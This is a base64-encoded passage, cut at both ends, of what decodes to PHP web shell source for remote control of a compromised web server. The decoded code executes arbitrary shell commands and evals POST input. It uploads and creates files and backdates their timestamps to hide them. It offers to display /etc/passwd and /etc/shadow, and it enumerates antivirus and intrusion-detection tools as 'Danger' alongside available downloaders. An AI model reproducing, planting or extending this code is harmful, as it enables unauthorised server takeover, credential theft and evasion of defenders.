KSI+Jy4kay4nPC9hPiBdPC90aD4nOwoJJGRyaXZlcyA9ICIiOwoJaWYgKCRHTE9CQUxTWydvcydd
ID09ICd3aW4nKSB7CgkJZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpCgkJaWYgKGlz
X2RpcigkZHJpdmUuJzpcXCcpKQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJn
KFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7Cgl9
CgkKCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3
aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxi
cj5IZGQ6PGJyPkN3ZDonLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nPGJyPkRyaXZlczonOicn
KS4nPC9zcGFuPjwvdGQ+Jy4KCQkgJzx0ZD48bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAs
IDEyMCkuJyA8YSBocmVmPSJodHRwOi8vbm9yZWZlcmVyLmRlLz9odHRwOi8vd3d3Lmdvb2dsZS5j
b20vc2VhcmNoP3E9Jy51cmxlbmNvZGUoQHBocF91bmFtZSgpKS4nIiB0YXJnZXQ9Il9ibGFuayI+
WyBHb29nbGUgXTwvYT4gPGEgaHJlZj0iJy4kZXhwbGluay4nIiB0YXJnZXQ9X2JsYW5rPlsgRXhw
bG9pdC1EQiBdPC9hPjwvbm9icj48YnI+Jy4kdWlkLicgKCAnLiR1c2VyLicgKSA8c3Bhbj5Hcm91
cDo8L3NwYW4+ICcuJGdpZC4nICggJyAuJGdyb3VwLiAnICk8YnI+Jy5AcGhwdmVyc2lvbigpLicg
PHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJy4oJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBj
b2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9I0ZGREI1Rj48Yj5PRkY8L2I+PC9mb250
PicpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5b
IHBocGluZm8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpz
JykuJzxicj4nLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nIDxzcGFuPkZyZWU6PC9zcGFuPiAnLnZp
ZXdTaXplKCRmcmVlU3BhY2UpLicgKCcucm91bmQoMTAwLygkdG90YWxTcGFjZS8kZnJlZVNwYWNl
KSwyKS4nJSk8YnI+Jy4kY3dkX2xpbmtzLicgJy52aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dk
J10pLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9t
ZV9jd2QnXS4nXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+Jy4kZHJpdmVzLic8
L3RkPicuCgkJICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48bGFiZWw+PHNlbGVjdCBv
bmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPicuJG9wdF9j
aGFyc2V0cy4nPC9zZWxlY3Q+PC9sYWJlbD48YnI+PHNwYW4+U2VydmVyIElQOjwvc3Bhbj48YnI+
Jy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj48c3Bhbj5DbGllbnQg
SVA6PC9zcGFuPjxicj4nLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8L25vYnI+PC90ZD48L3Ry
PjwvdGFibGU+Jy4KCQkgJzx0YWJsZSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMkU2RTlDOyIg
Y2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicuJG1lbnUuJzwvdHI+
PC90YWJsZT48ZGl2Pic7Cn0KZnVuY3Rpb24gaGFyZEZvb3RlcigpIHsKCSRpc193cml0YWJsZSA9
IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nI0ZGREI1Ric+WyBX
cml0ZWFibGUgXTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250
PiI7CiAgICBlY2hvICIKPC9kaXY+Cjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxw
YWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1
Ym1pdD1cIiIuKCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJyk/ICJnKG51bGwsdGhp
cy5jLnZhbHVlLCcnKTsiOicnICkuInJldHVybiBmYWxzZTtcIj48c3Bhbj5DaGFuZ2UgZGlyOjwv
c3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0n
IiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9c3Vi
bWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIu
KGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmlsZXNUb29scycpPyAiZygnRmlsZXNUb29scycsbnVs
bCx0aGlzLmYudmFsdWUpOyI6JycgKS4icmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8
L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWYgcmVxdWly
ZWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPgoJPC90cj48
dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiIi4oIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmls
ZXNNYW4nKT8gImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTsiOicnICku
InJldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxp
bnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWQgcmVxdWlyZWQ+PGlucHV0IHR5
cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1p
dD1cIiIuKCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzVG9vbHMnKT8gImcoJ0ZpbGVzVG9v
bHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTsiOicnICkuInJldHVybiBmYWxzZTtcIj48
c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xz
SW5wJyB0eXBlPXRleHQgbmFtZT1mIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0n
c3VibWl0Jz48L2Zvcm0+PC90ZD4KCTwvdHI+PHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIu
KCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkNvbnNvbGUnKT8gImcoJ0NvbnNvbGUnLG51bGwsdGhp
cy5jLnZhbHVlKTsiOicnICkuInJldHVybiBmYWxzZTtcIj48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48
YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5w
dXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG1l
dGhvZD0ncG9zdCcgIi4oICghZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc01hbicpKT8gIiBv
bnN1Ym1pdD1cInJldHVybiBmYWxzZTtcIiAiOicnICkuIkVOQ1RZUEU9J211bHRpcGFydC9mb3Jt
LWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4KCQk8
aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xP
QkFMU1snY3dkJ10pIC4iJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBs
b2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgdmFsdWU9Jyc+CgkJPGlucHV0
IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJz
ZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9z
cGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFt
ZT1mW10gIG11bHRpcGxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+
PGJyICA+PC90ZD4KCTwvdHI+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPiI7Cn0KaWYgKCFm
dW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlz
YWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsgZnVuY3Rpb24g
cG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmlmICghZnVuY3Rpb25fZXhpc3Rz
KCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25z
J10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lk
KCRwKSB7cmV0dXJuIGZhbHNlO30gfQpmdW5jdGlvbiBleCgkaW4pIHsKCSTilpYgPSAnJzsKCWlm
IChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwk4paWKTsKCQkk4paWID0g
QGpvaW4oIlxuIiwk4paWKTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykp
IHsKCQlvYl9zdGFydCgpOwoJCUBwYXNzdGhydSgkaW4pOwoJCSTilpYgPSBvYl9nZXRfY2xlYW4o
KTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsK
CQlAc3lzdGVtKCRpbik7CgkJJOKWliA9IG9iX2dldF9jbGVhbigpOwoJfSBlbHNlaWYgKGZ1bmN0
aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJJOKWliA9IHNoZWxsX2V4ZWMoJGluKTsKCX0g
ZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkk4paWID0gIiI7
CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJOKWliAuPSBmcmVhZCgkZiwxMDI0KTsKCQlwY2xvc2Uo
JGYpOwoJfWVsc2UgcmV0dXJuICLihrMgVW5hYmxlIHRvIGV4ZWN1dGUgY29tbWFuZFxuIjsKCXJl
dHVybiAoJOKWlj09Jyc/IuKGsyBRdWVyeSBkaWQgbm90IHJldHVybiBhbnl0aGluZ1xuIjok4paW
KTsKfQpmdW5jdGlvbiB2aWV3U2l6ZSgkcykgewoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkKCQlyZXR1
cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CgllbHNlaWYoJHMg
Pj0gMTA0ODU3NikKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcg
TUInOwoJZWxzZWlmKCRzID49IDEwMjQpCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAx
MDI0ICkgLiAnIEtCJzsKCWVsc2UKCQlyZXR1cm4gJHMgLiAnIEInOwp9CmZ1bmN0aW9uIHBlcm1z
KCRwKSB7CglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CgllbHNlaWYgKCgk
cCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwoJZWxzZWlmICgoJHAgJiAweDgwMDApID09
IDB4ODAwMCkkaSA9ICctJzsKCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAn
Yic7CgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwoJZWxzZWlmICgo
JHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9
PSAweDEwMDApJGkgPSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkg
PyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJJGkgLj0g
KCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4
MDgwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsK
CSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDgp
ID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDog
Jy0nKSk7CgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYg
MHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAy
MDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoJcmV0dXJu
ICRpOwp9CmZ1bmN0aW9uIHZpZXdQZXJtc0NvbG9yKCRmKSB7CglpZiAoIUBpc19yZWFkYWJsZSgk
ZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygk
ZikpLic8L2I+PC9mb250Pic7CgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQoJCXJldHVybiAn
PGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+
JzsKCWVsc2UKCQlyZXR1cm4gJzxmb250IGNvbG9yPSNGRkRCNUY+PGI+Jy5wZXJtcyhAZmlsZXBl
cm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKfQpmdW5jdGlvbiBoYXJkU2NhbmRpcigkZGlyKSB7CiAg
ICBpZihmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBzY2FuZGly
KCRkaXIpOwogICAgfSBlbHNlIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAg
ICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQogICAgICAgICAg
ICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CmZ1
bmN0aW9uIHdoaWNoKCRwKSB7CgkkcGF0aCA9IGV4KCd3aGljaCAnIC4gJHApOwoJaWYoIWVtcHR5
KCRwYXRoKSkKCQlyZXR1cm4gJHBhdGg7CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWN0aW9u
UkMoKSB7CglpZighQCRfUE9TVFsncDEnXSkgewoJCSRhID0gYXJyYXkoCgkJCSJ1bmFtZSIgPT4g
cGhwX3VuYW1lKCksCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLAoJCQkiVkVSU0lP
TiIgPT4gVkVSU0lPTiwKCQkJInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykKCQkp
OwoJCWVjaG8gc2VyaWFsaXplKCRhKTsKCX0gZWxzZSB7CgkJZXZhbCgkX1BPU1RbJ3AxJ10pOwoJ
fQp9CmZ1bmN0aW9uIHByb3RvdHlwZSgkaywgJHYpIHsKICAgICRfQ09PS0lFWyRrXSA9ICR2Owog
ICAgc2V0Y29va2llKCRrLCAkdik7Cn0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsKCWhhcmRI
ZWFkZXIoKTsKCWVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYg
Y2xhc3M9Y29udGVudD4nOwoJZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewoJCSR2ID0g
dHJpbSgkdik7CgkJaWYoJHYpIHsKCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7
CgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdiAuICc8YnI+JzsK
CQkJZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7CgkJfQoJ
fQoJc2hvd1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdB
UkUnKSk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQogICAg
ICAgIHNob3dTZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBh
cGFjaGVfZ2V0X21vZHVsZXMoKSkpOwoJc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rp
b25zJywgJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVu
Y3Rpb25zJ106J25vbmUnKTsKCXNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0
KCdvcGVuX2Jhc2VkaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBp
bmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBp
bmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CglzaG93U2Vj
UGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2Vu
YWJsZWQnOidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxf
Z2V0X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50
X2luZm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKCQkkdGVt
cFtdID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1w
W10gPSAiUG9zdGdyZVNRTCI7CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJ
JHRlbXBbXSA9ICJPcmFjbGUiOwoJc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywg
aW1wbG9kZSgnLCAnLCAkdGVtcCkpOwoJZWNobyAnPGJyPic7CglpZigkR0xPQkFMU1snb3MnXSA9
PSAnbml4JykgewogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dk
JywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0n
ZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25v
Jyk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNf
cmVhZGFibGUoJy9ldGMvc2hhZG93Jyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmls
ZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAg
ICAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcv
cHJvYy92ZXJzaW9uJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBA
ZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwogICAgICAgICAgICBpZighJEdM
T0JBTFNbJ3NhZmVfbW9kZSddKSB7CiAgICAgICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdn
Y2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5Jywn
dGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKICAg
ICAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZz
Y2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRh
YmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywn
b3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywn
c3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOwogICAgICAg
ICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5r
cycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgICAgICBlY2hvICc8YnI+
JzsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNo
ICgkdXNlcmZ1bCBhcyAk4pafKQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQog
ICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsKICAgICAgICAgICAgICAgIHNo
b3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAg
ICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJOKW
nykKICAgICAgICAgICAgICAgICAgICBpZih3aGljaCgk4pafKSkKICAgICAgICAgICAgICAgICAg
ICAgICAgJHRlbXBbXSA9ICTilp87CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rhbmdl
cicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsK
ICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAk4pafKQogICAgICAgICAg
ICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtd
ID0gJOKWnzsKICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBs
b2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAg
ICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwogICAgICAgICAg
ICAgICAgc2hvd1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0
cycpKTsKCQkJCXNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50
cygnL2V0Yy9mc3RhYicpKTsKICAgICAgICAgICAgfQoJfSBlbHNlIHsKCQlzaG93U2VjUGFyYW0o
J09TIFZlcnNpb24nLGV4KCd2ZXInKSk7CgkJc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdz
JywgaWNvbnYoJ0NQODY2JywgJ1VURi04JyxleCgnbmV0IGFjY291bnRzJykpKTsKCQlzaG93U2Vj
UGFyYW0oJ1VzZXIgQWNjb3VudHMnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgdXNl
cicpKSk7Cgl9CgllY2hvICc8L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlv
bkZpbGVzVG9vbHMoKSB7CglpZiggaXNzZXQoJF9QT1NUWydwMSddKSApCgkJJF9QT1NUWydwMSdd
ID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQn
KSB7CgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydw
MSddKSkgewoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CgkJCWhlYWRlcigiQ29u
dGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1Rb
J3AxJ10pKTsKCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewoJ
CQkJJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsKCQkJCWhlYWRlcigi
Q29udGVudC1UeXBlOiAiIC4gJHR5cGUpOwoJCQl9IGVsc2UKICAgICAgICAgICAgICAgIGhlYWRl
cigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKCQkJJGZwID0gQGZv
cGVuKCRfUE9TVFsncDEnXSwgInIiKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSghQGZlb2YoJGZw
KSkKCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOwoJCQkJZmNsb3NlKCRmcCk7CgkJCX0KCQl9
ZXhpdDsKCX0KCWlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgewoJCWlmKCFmaWxlX2V4
aXN0cygkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICRkaXJuYW1lID0gQGRpcm5hbWUoJF9Q
T1NUWydwMSddKTsKICAgICAgICAgICAgJGRpcnRpbWUgPSBAZmlsZW10aW1lKCRkaXJuYW1lKTsK
CQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKCQkJaWYoJGZwKSB7CiAgICAgICAg
ICAgICAgICBAdG91Y2goJF9QT1NUWydwMSddLCAkZGlydGltZSwgJGRpcnRpbWUpOwogICAgICAg
ICAgICAgICAgQHRvdWNoKCRkaXJuYW1lLCAkZGlydGltZSwgJGRpcnRpbWUpOwoJCQkJJF9QT1NU
WydwMiddID0gImVkaXQiOwoJCQkJZmNsb3NlKCRmcCk7CgkJCX0KCQl9Cgl9CgloYXJkSGVhZGVy
KCk7CgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglpZigg
IWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7
CgkJaGFyZEZvb3RlcigpOwoJCXJldHVybjsKCX0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZp
bGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKCWlmKCEkdWlkKSB7CgkJJHVpZFsnbmFtZSddID0gQGZp
